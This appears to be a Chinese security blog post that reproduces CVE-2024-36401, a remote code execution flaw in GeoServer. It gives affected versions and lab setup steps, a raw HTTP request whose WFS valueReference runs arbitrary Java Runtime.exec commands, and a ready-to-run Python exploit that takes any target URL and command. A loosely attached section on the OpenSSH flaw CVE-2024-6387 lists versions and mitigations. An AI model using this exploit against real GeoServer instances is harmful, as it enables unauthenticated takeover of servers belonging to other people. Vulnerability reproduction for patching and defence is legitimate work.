【漏洞复现】CVE-2024-36401 Geoserver远程代码执行漏洞复现

目录

CVE-2024-36401 Geoserver远程代码执行漏洞

影响版本

环境搭建

漏洞复现

poc


GeoServer是一个用Java编写的开源软件服务器,允许用户共享和编辑地理空间数据。它为提供交互操作性而设计,使用开放标准发布来自任何主要空间数据源的数据。

CVE-2024-36401 Geoserver远程代码执行漏洞复现

CVE-2024-36401 Geoserver远程代码执行漏洞

GeoServer存在远程代码执行漏洞(CVE-2024-36401),未经身份认证的远程攻击者可以通过该漏洞在服务器上执行任意代码,从而获取服务器权限。

影响版本

  • GeoServer < 2.23.6
  • 2.24.0 <= GeoServer < 2.24.4
  • 2.25.0 <= GeoServer < 2.25.2

环境搭建

显示要 java11 或者 17 环境

点击 Windows Installer 下载

开始安装,选择 jdk 路径

选择安装模式,第一个是以低权限的网络用户运行 Geoserver,第二个是以当前用户 administrator 权限运行。为了方便漏洞演示,选择第二个

安装完后进入如下目录启动 Geoserver

输入 http://127.0.0.1:8080/geoserver 进入 GeoServer 的管理员界面。

漏洞复现

poc,执行的命令为弹出计算器

POST /geoserver/wfs HTTP/1.1
Host: 192.168.67.158:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 341

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),"calc")</wfs:valueReference>
</wfs:GetPropertyValue>

执行后

poc

使用:CVE-2024-36401.py http://192.168.67.158:8080 calc

import sys
import requests

#proxy={'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
proxy = None

def send_post_request(url, command):
    data = """<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),"%s")</wfs:valueReference>
</wfs:GetPropertyValue>
""" % command
    
    host = url.replace('http://', '').replace('https://', '').rstrip('/')
    headers = {
        'Host': '%s' % host,
        'Accept-Encoding': 'gzip, deflate, br',
        'Accept': '*/*',
        'Accept-Language': 'en-US;q=0.9,en;q=0.8',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36',
        'Connection': 'close',
        'Cache-Control': 'max-age=0',
        'Content-Type': 'application/xml',
        'Content-Length': str(len(data))  # 数据长度
    }
    try:
        response = requests.post(url+'/geoserver/wfs', data=data, headers=headers, proxies=proxy, timeout=15)
        if response.status_code == 400 and 'java.lang.ClassCastException' in response.text:
            print('[*]漏洞利用成功')
            print('响应码:%s' % response.status_code)
            print('响应体:\n%s' % response.text)

    except requests.exceptions.RequestException as e:
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python3 poc.py <url> <command>")
        sys.exit(1)

    url = sys.argv[1]
    command = sys.argv[2]

    print('CVE-2024-36401 Geoserver远程代码执行漏洞EXP')
    send_post_request(url.rstrip('/'), command)

### CVE-2024-6387 OpenSSH 远程代码执行漏洞详细信息 CVE-2024-6387 是一个存在于 OpenSSH 服务器中的高危远程代码执行 (RCE) 漏洞,允许未经身份验证的远程攻击者在受影响的 Linux 系统上以 root 权限执行任意代码。此漏洞源于信号处理程序中存在的条件竞争问题[^2]。 #### 影响范围 该漏洞主要影响基于 glibc 的 Linux 系统,并且特定版本范围内存在风险: - **OpenSSH 版本**:< 4.4p1 和 8.5p1 ≤ OpenSSH < 9.8p1 的版本受到影响。 由于漏洞细节和技术利用方法已在互联网上公开传播,因此其潜在威胁显著增大。 ### 修复方案 为了防止因 CVE-2024-6387 导致的安全事件发生,建议采取如下措施: 1. **立即升级到最新版 OpenSSH** 推荐尽快将 OpenSSH 升级至官方发布的最新稳定版本(至少为 9.8p1 或更高),这些新版本已包含针对该漏洞的有效修补程序。 2. **应用安全补丁** 如果无法即时进行全面升级,则应安装由操作系统供应商提供的专门用于解决此问题的安全更新包。 3. **配置防火墙规则** 可通过设置严格的网络访问控制策略来限制对 SSH 服务端口(默认为 TCP/22)不必要的外部连接请求,从而减少被攻击的风险[^3]。 4. **启用强制密钥认证机制** 关闭密码登录方式并仅允许使用强加密算法保护下的公私钥配对方式进行用户鉴权操作可以进一步增强系统的安全性。 ```bash # 修改 /etc/ssh/sshd_config 文件,禁用密码登陆并将 PubkeyAuthentication 设置为 yes PasswordAuthentication no PubkeyAuthentication yes ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ly4j

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值